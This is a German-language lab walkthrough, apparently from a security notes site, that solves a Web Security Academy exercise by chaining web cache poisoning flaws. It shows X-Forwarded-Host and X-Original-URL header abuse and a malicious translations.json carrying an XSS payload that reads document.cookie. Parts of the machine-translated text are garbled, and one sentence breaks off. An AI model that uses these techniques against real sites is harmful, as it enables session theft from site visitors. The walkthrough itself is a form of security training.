> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/cache-poisoning/combination-of-web-cache-poisoning-vulnerabilities.md).

# Kombination von Web-Cache-Vergiftungs-Schwachstellen

### Kombination von Web-Cache-Poisoning-Schwachstellen

Wir müssen **den Cache der Startseite vergiften** mit einer Version, die läuft **`alert(document.cookie)`** im Browser des Besuchers. Das Opfer gibt weiter `/` about **jede Minute** und **die Sprache des Opfers Englisch ist (`lang=en` Cookie)**.

<figure><img src="/files/00bedf3567c7a262365544fcf375c3e44854081b" alt=""><figcaption></figcaption></figure>

### (1) Einstiegspunkt: Clientseitige Übersetzungsfunktionalität

Auf der Startseite beobachten wir:

* Eine `lang` Cookie (zum Beispiel, `lang=es`) + `session=...`
* Ein Übersetzungsskript: **`/resources/js/translations.js`**

{% code overflow="wrap" %}

```http
Cookie: lang=es; session=3AJsSQlcvMWoyYAD7DAbxUISdsu1rIFg
```

{% endcode %}

```javascript
function initTranslations(jsonUrl)
{
    const lang = document.cookie.split(';')
        .map(c => c.trim().split('='))
        .filter(p => p[0] === 'lang')
        .map(p => p[1])
        .find(() => true);

    const translate = (dict, el) => {
        for (const k in dict) {
            if (el.innerHTML === k) {
                el.innerHTML = dict[k];
            } else {
                el.childNodes.forEach(el_ => translate(dict, el_));
            }
        }
    }

    fetch(jsonUrl)
        .then(r => r.json())
        .then(j => {
            const select = document.getElementById('lang-select');
            if (select) {
                for (const code in j) {
                    const name = j[code].name;
                    const el = document.createElement("option");
                    el.setAttribute("value", code);
                    el.innerText = name;
                    select.appendChild(el);
                    if (code === lang) {
                        select.selectedIndex = select.childElementCount - 1;
                    }
                }
            }

            lang in j && lang.toLowerCase() !== 'en' && j[lang].translations && translate(j[lang].translations, document.getElementsByClassName('maincontainer')[0]);
        });
}
```

Dieses Skript liest `lang` aus Cookies aus und macht dann eine `fetch()` an JSON:

```json
{
    "en": {
        "name": "Englisch"
    },
    "es": {
        "name": "Spanisch",
        "translations": {
            "Zur Liste zurück": "Volver a la lista",
            "Details anzeigen": "Ver detailes",
            "Beschreibung:": "Beschreibung:"
        }
    },
    "cn": {
        "name": "中文",
        "translations": {
            "Zur Liste zurück": "返回清單",
            "Details anzeigen": "查看詳情",
            "Beschreibung:": "描述:"
        }
    },
    "ar": {
        "name": "عربى",
        "translations": {
            "Zur Liste zurück": "العودة إلى القائمة",
            "Details anzeigen": "عرض التفاصيل",
            "Beschreibung:": "وصف:"
        }
    },
    "en-gb": {
        "name": "Korrektes Englisch",
        "translations": {
            "Zur Liste zurück": "Von woher Sie gekommen sind",
            "Details anzeigen": "Erweisen Sie mir die Ehre, dies näher auszuführen",
            "Beschreibung:": "Ausführungen zum Thema:"
        }
    },
    "ml": {
        "name": "മലയാളം",
        "translations": {
            "Zur Liste zurück": "ലിസ്റ്റിലേക്ക് മടങ്ങുക",
            "Details anzeigen": "വിശദാംശങ്ങൾ കാണുക",
            "Beschreibung:": "വിവരണം:"
        }
    },
    "hb": {
        "name": "עברית",
        "translations": {
            "Zur Liste zurück": "חזור לרשימה",
            "Details anzeigen": "הצג פרטים",
            "Beschreibung:": "תיאור:"
        }
    },
    "zl": {
        "name": "Ẕ̻͕̿̊ͤ̍ͅa͙l̗ͧg̮̤̰̘͇ȍ͇͕̳̙͙͉́̅̋̌̅",
        "translations": {
            "Zur Liste zurück": "Re̹̰̘͉̹̪ͅt̬̫̜ȕͩ͒ͥͥr̃̉͒n ̎͂t͎͖̽͋o͖̟͚͙̲͐ͤͫ̎̓ ̼̟͈̭͉͎̂ͯ̔ͤͤ̏͐ͅliͤ͑ͧ̆̐̈̀sṭ̠̮̰͍̙͒̔͆̈ͤ̅",
            "Details anzeigen": "V̖̮͙ͅi͇e͙̦w̭̣̫͇̦̬̰ ̓͑̓ͯ̔d͍͂e͚̮͖͍͖̠͙ͮͭ̉ͦ̏͌̆t̙͎̺͉a̳̖͔̱͉̱͑̆̌̃͊ͬi̯͚͙̼̹̮l̖͎͛̈́͒ͅs̒̒ͤ̽̒̀",
            "Beschreibung:": "D̳͔e̝ͩ̐ͅsc̗̱̼̤̬̎̓ͪͣͭ̐ͅr̪̝͖̙̱̄̓͌̓̚ip̭̦̭̰̻ͣ̓̽ͨ̚ț̤̝̻i̹̱̟̞͕̓̓ͬ̓ͬ̆ͅon̠͚͕̈́̋̓:"
        }
    },
    "fn": {
        "name": "Suomalainen",
        "translations": {
            "Zur Liste zurück": "Palaa luetteloon",
            "Details anzeigen": "Details anzeigen",
            "Beschreibung:": "Kuvaus:"
        }
    },
    "hw": {
        "name": "Ōlelo Hawaiʻi",
        "translations": {
            "Zur Liste zurück": "Hoʻi i ka papa inoa",
            "Details anzeigen": "E nānā i nā kikoʻī",
            "Beschreibung:": "ʻO keʻano:"
        }
    },
    "mm": {
        "name": "ဗမာ",
        "translations": {
            "Zur Liste zurück": "စာရင်းသို့ပြန်သွားသည်",
            "Details anzeigen": "အသေးစိတ်ကြည့်ရန်",
            "Beschreibung:": "ဖော်ပြချက်:"
        }
    }
}
```

Und `data.host` stammt aus einem Inline-Block auf der Startseite:

```http
<script>
     data = {"host":"0acc008b046bd245809803b8002b0061.web-security-academy.net","path":"/"}
</script>
```

Dann wendet das Skript die Übersetzungen an, indem es Text per `innerHTML`, was wichtig ist, weil es eine Übersetzung in \*\* HTML-Injektion\*\* verwandeln kann, wenn Sie das JSON kontrollieren.

### Schwachstelle #1: Host-Manipulation über `X-Forwarded-Host`

Durch Hinzufügen des folgenden HTTP-Headers

```http
X-Forwarded-Host: test.com
```

stellen wir fest, dass der Wert widergespiegelt wird in `data.host`.

<figure><img src="/files/4f858b0e5af58b3d7d114e2d11c9b91b3bfa26e0" alt=""><figcaption></figcaption></figure>

```javascript
<script>
    initTranslations('//' + data.host + '/resources/json/translations.json');
</script>
```

<figure><img src="/files/5239635fae415c3ee2c29d0e3cbc30c054b76f34" alt=""><figcaption></figcaption></figure>

So können wir den Browser dazu zwingen, die Datei zu laden:

```bash
/resources/json/translations.json
```

### 3. Schwachstelle #2: XSS über die JSON-Übersetzungsdatei

Wir hosten auf dem Exploit-Server eine gefälschte `translations.json` die eine XSS-Injektion in einer Übersetzung enthält, zum Beispiel:

```json
{
    "en": {
        "name": "Englisch"
    },
    "es": {
        "name": "Spanisch",
        "translations": {
            "Return to list": "Hola",
            "View details": "></a><img src=0 onerror=alert(document.cookie)>",
            "Beschreibung:": "Beschreibung:"
        }
    }
}
```

<figure><img src="/files/ea274fefeda4dfbeb662f1ba51fe5115aedc0d46" alt=""><figcaption></figcaption></figure>

Wir verwenden dann:

```http
X-Forwarded-Host: exploit-0a19004104f2d29e80b40256011c00b0.exploit-server.net/
```

Die aus dem Cache gelieferte Startseite verweist nun auf unsere bösartige JSON-Datei.

Der Inhalt der Übersetzung wird daher als HTML interpretiert, was die Ausführung des eingeschleusten JavaScript ermöglicht.

<figure><img src="/files/37a038f822f2b9eb0599273f68132bbeec0d943b" alt=""><figcaption></figcaption></figure>

### 4. Einschränkung: Das Opfer verwendet Englisch

Das Übersetzungsskript wird nur ausgeführt, wenn:

* `lang !== 'en'`

Das Opfer zunächst `lang=en`. / Selbst wenn wir die JSON-Datei kontrollieren, \*\*l

Wir müssen daher **den Ablauf auf Spanisch verstärken**.

### 5. Schwachstelle #3: Sprachänderung erzwingen über `X-Original-URL`

<figure><img src="/files/6f94f6eb313ffe420a2ed765f17bf3920091839b" alt=""><figcaption></figcaption></figure>

Mit Param Miner identifizieren wir den anfälligen Header:

```http
X-Original-Url: /test
```

Wir senden eine weitere Anfrage an `/` mit:

* `X-Original-URL: /test` → `404 Not Found`

<figure><img src="/files/82a55cf20d943bd2dc8241a11eaef588c5d6b9fd" alt=""><figcaption></figcaption></figure>

Der Cache liefert eine Antwort, die definiert `lang=es` für Besucher.

```http
X-Original-Url: /setlang/es
```

`X-Original-URL: /setlang/es` → `302 Found`

Dieser Pfad:

* Setzt das `lang=es` Cookie
* Dann gehen Sie zurück zur Startseite

<figure><img src="/files/bcd715d90e851d41a30ce16505765dbd47fbaed5" alt=""><figcaption></figcaption></figure>

#### Ausführung der Nutzlast beim Opfer

1. Das Opfer besucht `/`
2. `lang` Cookie wird zu `es`
3. Die Seite lädt die `translations.json` Datei von unserem Exploit-Server
4. Die bösartige Übersetzung wird in den DOM injiziert
5. Der Browser führt aus:

<figure><img src="/files/6b88ad4eb3aa9acbefa084601131bf7112ca41f9" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/cache-poisoning/combination-of-web-cache-poisoning-vulnerabilities.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
